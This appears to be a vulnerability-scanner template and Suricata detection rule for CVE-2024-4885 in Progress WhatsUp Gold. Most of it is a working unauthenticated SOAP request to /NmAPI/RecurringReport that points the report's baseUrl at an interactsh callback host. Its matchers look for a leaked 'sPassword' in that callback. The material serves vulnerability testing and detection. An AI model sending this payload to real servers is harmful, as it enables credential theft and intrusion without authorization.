CVE-2024-4885: Progress WhatsUp Gold Path Traversal Vulnerability

id: CVE-2024-4885

info:
  name: "Progress WhatsUpGold - Path Traversal"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    In WhatsUp Gold versions released before 2023.1.3, an unauthenticated Remote Code Execution vulnerability in
    Progress WhatsUpGold. The WhatsUp.ExportUtilities.Export.GetFileWithoutZip allows execution of commands with
    iisapppool\nmconsole privileges.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-4885&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=progress&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-4885
    cwe-id: CWE-22
  metadata:
    verified: false
  tags: cve,cve2024,rce,progress,whatsup,lfi,kev,vkev,vuln
http:
  - raw:
      - |
        POST /NmAPI/RecurringReport HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8
        SOAPAction: http://tempuri.org/IRecurringReportServices/TestRecurringReport

        <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><TestRecurringReport xmlns="http://tempuri.org/"><rr xmlns:a="http://schemas.datacontract.org/2004/07/WUGDataAccess.RecurringReports.DataContracts" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:AlternateHost i:nil="true"/><a:Disabled>false</a:Disabled><a:EmailSettings xmlns:b="http://schemas.datacontract.org/2004/07/WUGDataAccess.Core.DataContracts"><b:Authentication>None</b:Authentication><b:CredentialsId i:nil="true"/><b:DirectoryPath>C:\PROGRA~2\Ipswitch\WhatsUp\Data\ScheduledReports</b:DirectoryPath><b:Password/><b:Port>25</b:Port><b:SMTPServer/><b:SendFrom>WhatsUpGold@YourDomain.com</b:SendFrom><b:SendTo i:nil="true"/><b:Subject>Emailing: Wireless Log</b:Subject><b:TimeoutSec>5</b:TimeoutSec><b:UseEncryptedConn>false</b:UseEncryptedConn><b:Username/></a:EmailSettings><a:ExportOptions><a:AuthorName>WhatsUp Gold</a:AuthorName><a:AutosizePDFPage>true</a:AutosizePDFPage><a:AvoidImageBreak>false</a:AvoidImageBreak><a:AvoidTextBreak>true</a:AvoidTextBreak><a:BrowserPageHeight>0</a:BrowserPageHeight><a:BrowserPageWidth>0</a:BrowserPageWidth><a:ConversionDelay>3</a:ConversionDelay><a:CustomPageHeight>0</a:CustomPageHeight><a:CustomPageWidth>0</a:CustomPageWidth><a:ExportAuthToken/><a:ExportType>html</a:ExportType><a:FitHeight>false</a:FitHeight><a:FitWidth>false</a:FitWidth><a:InternalLinksEnabled>false</a:InternalLinksEnabled><a:LiveURLsEnabled>false</a:LiveURLsEnabled><a:NavigationTimeout>240</a:NavigationTimeout><a:PageOrientation>Portrait</a:PageOrientation><a:PageSize>Letter</a:PageSize><a:PdfMessage>html</a:PdfMessage><a:PreviewEnabled>false</a:PreviewEnabled><a:Subject i:nil="true"/><a:TimeFormat>g:i:s a</a:TimeFormat><a:Title i:nil="true"/><a:ToMail>true</a:ToMail><a:WebExportDirectory>C:\\Program Files (x86)\\Ipswitch\\WhatsUp\\html\\NmConsole\\</a:WebExportDirectory><a:ZipEnabled>false</a:ZipEnabled></a:ExportOptions><a:IncludeURLInEmail>false</a:IncludeURLInEmail><a:Name>2e441d4d5a4b258b</a:Name><a:NextRun i:nil="true"/><a:RecurringReportID>-1</a:RecurringReportID><a:Schedule xmlns:b="http://schemas.datacontract.org/2004/07/WUGDataAccess.Core.DataContracts"><b:DailyDays>1</b:DailyDays><b:DailyOptions>Interval</b:DailyOptions><b:DaysOfTheWeek xmlns:c="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><c:boolean>true</c:boolean><c:boolean>true</c:boolean><c:boolean>true</c:boolean><c:boolean>true</c:boolean><c:boolean>true</c:boolean><c:boolean>true</c:boolean><c:boolean>true</c:boolean></b:DaysOfTheWeek><b:MonthlyDayMonths>1</b:MonthlyDayMonths><b:MonthlyDayNumber>3</b:MonthlyDayNumber><b:MonthlyOptions>DayOfMonth</b:MonthlyOptions><b:MonthlyRecur>First</b:MonthlyRecur><b:MonthlyRecurDay>Sunday</b:MonthlyRecurDay><b:MonthlyRecurMonths>1</b:MonthlyRecurMonths><b:RecurringInterval>1</b:RecurringInterval><b:RecurringTimeIntervals>Minutes</b:RecurringTimeIntervals><b:ScheduleType>TimeInterval</b:ScheduleType><b:StartTime>2024-07-05T16:59:14.047957+01:00</b:StartTime><b:TimeIntervalStartDate>2024-07-05T16:59:14.047957+01:00</b:TimeIntervalStartDate><b:WeeklyWeeks>1</b:WeeklyWeeks><b:YearlyDayOfMonth>3</b:YearlyDayOfMonth><b:YearlyMonthRecur>First</b:YearlyMonthRecur><b:YearlyMonthRecurDay>Sunday</b:YearlyMonthRecurDay><b:YearlyMonths>March</b:YearlyMonths><b:YearlyOptions>DayOfYear</b:YearlyOptions><b:YearlyRecurMonth>March</b:YearlyRecurMonth></a:Schedule><a:URL>{"title":"foo","renderType":"aspx","reports":[{"title":"thetitle","url":"/NmConsole/api/Wireless/ReportWirelessLog","dateRangeFilter":{"label":"Date Range","n":0,"range":"Today","text":"Today"},"severityFilter":{"label":"Severity","value":-1,"text":"ALL"},"limit":50,"grid":{"emptyText":"[ No records found ]","columns":[{"dataIndex":"Date","text":"Date","flex":1},{"dataIndex":"Severity","text":"Severity","flex":1},{"dataIndex":"Message","text":"Message","flex":1}],"filters":[],"sorters":[]}}],"baseUrl":"http://{{interactsh-url}}","userId":1}</a:URL><a:WebUserID>1</a:WebUserID><a:WebUserName>admin</a:WebUserName></rr></TestRecurringReport></s:Body></s:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "sPassword"

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2024-4885 Progress WhatsUpGold - Path Traversal"; flow:established,to_server; http.uri; content:"RecurringReport"; nocase; http.request_body; content:"http://"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2024-4885; reference:url,https://www.exploit.observer/?keyword=CVE-2024-4885&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=progress&match=exact; sid:1009631; rev:1;)